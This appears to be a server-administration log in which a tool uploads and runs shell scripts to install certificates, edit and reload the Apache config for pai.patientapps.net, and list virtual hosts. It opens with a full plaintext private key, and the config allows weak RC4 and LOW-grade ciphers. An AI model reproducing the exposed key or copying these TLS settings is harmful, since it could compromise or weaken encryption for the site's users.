-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDPi+qxpt7IqShA
yXNZtG7Z0tLSiu+rOCxFqKsIz+3NpT0Gvz6n48YNHUU3XMKwzU6yNQS/af/ohldS
oPX2cRpAOGWYs5odllZbnDQhei+7TKLTAknW+2kcU1IasTMehnAEzWV3MceUstQB
aCUgtwtGC1jEe/kUuU/Xsk82btRcf9EurRdaTwoNRg1CU5xuYYpRMjVzTkoGzdgf
ts8t0EucJdi1mvw5oKZXOrlT19Ql0ab/dIz2swlPEJ0+jdv8p6t7xHSWIt3g1/5W
trR95xInQWSOuRrme9WQ3VJ4cotxsloEr/wrgZR72B+9TzI5MuVxnIrd7sEC7bch
IxJyQpnbAgMBAAECgf8YUk0uhF+XJDuTXAgoevyCijIqeh2b8vk9MIbagYNclgCQ
ydiN1CNhZgy2cChgj66pM41a4REcLqINDM/GEXsCC5ncSy/ER9nW4nc5dRgi2tg5
4grFJrEqoJj+h8V1zktSRL+fODYrNsmhYJL5QnoPu0SrwdtukkjI/hxKRLKeJCZT
hN8yQll88K/sfT4WW2DjwRl8/hkNY11C3y7ak6rmRJ9x6lrBz/yM3v4gVAOKQhML
blKCbOSOzF6mXVO6QZ/5EOO+A0gnq14g8MRD0/sr4h16o5nwP4B6WEwVBSRG003U
Fh30lmMK5HXNYTPMcSFY6gRDu9/odOF4/ii2GMECgYEA7SXJKHwEctJPuY1hqy2o
AIau8N3+TynALxpqOKblZKi94J4iWWpwZkuluGHRD0DzFveal/pfP8HrFPDpO/Gb
sjF529B4mGlkHc23LW9xNXCOKV1/ktDbOeiDbaZkz1yuwmmPpNbY4Vim7CnN48Ln
8TIm199HJCFDtKBCfgwLMKsCgYEA4Au3k249Zi/01N4bMJl51HyUbS4gT9BfcEeN
EFXEUdHScgHPriMY1ozMGpFr+Tfh2j9FwktH0jpy82mCsFLeTKrLxRNMMvfeWbmR
fMUebcjshOaFpUoc2bq5rfoDSp3T+G0gznDH6X6s6WGr7xLtscedQolRF2dfAxuO
Y7leG5ECgYBdy8EpSwvzYi14RWwo6VD2jE6rJBKOuwOxXbA/ofs++eLH8aPCW/AC
9c6hA8dNUjITlnFFxRhhPlC9op+NPv2G2DzLbUQVfDHF+/SEevx6137S65Emv4bF
+6nn95UN0ymn6VqQJw326zpyVAKEIDXe1yg3367iommGCpDiC99tKwKBgEyQNH/R
YHIXWVeVPz1wdU3D9QUKikg8MSExkmdOp/Q9++ix7cLYg5huLSG3KGrWSfxHOxOW
nkidaML9/4c6CnWwuEn0ukmAox+OZsV4p1llHE6eaHV/yjQtt15Y3d8V6GYxBNEH
gYmtnHF0y0i78zaZvIgMXQXecX2iYRp7MknBAoGBAKIS0YPoK0nTUnwtWbsYHyPX
/dK3lIRfWe7FsRUgNY+1SA1VJjP9SV6cPiTGkqKSwYFOEtV0LpfZl0v4nNKJ+Uy9
J9pAfvqouF4jaQB4g36J1oBJlB/0hak15YX5/hDi3rVOMx3OhX+gaNZjLF3x+waR
+MQyQLLTTYx5x4TJrnv6
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-19 20:41:56: 

chmod 755 /tmp/pkp477104; /tmp/pkp477104; rm /tmp/pkp477104

2026-07-19 20:41:56: 


dir=/etc/ssl/certs


2026-07-19 20:41:56: 

PUT: /tmp/pkp577424

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-19 20:41:56: 

chmod 755 /tmp/pkp577424; /tmp/pkp577424; rm /tmp/pkp577424

2026-07-19 20:41:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-19 20:41:56: 

PUT: /tmp/pkp186842

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2026-07-19 20:41:56: 

chmod 755 /tmp/pkp186842; /tmp/pkp186842; rm /tmp/pkp186842

2026-07-19 20:41:56: 




2026-07-19 20:41:56: 

PUT: /tmp/pkp447681

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-19 20:41:57: 

chmod 755 /tmp/pkp447681; /tmp/pkp447681; rm /tmp/pkp447681

2026-07-19 20:41:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-19 20:41:57: Establishing a connection
2026-07-19 20:41:57: 

PUT: /tmp/pkp701561

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-19 20:41:57: 

chmod 755 /tmp/pkp701561; /tmp/pkp701561; rm /tmp/pkp701561

2026-07-19 20:41:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
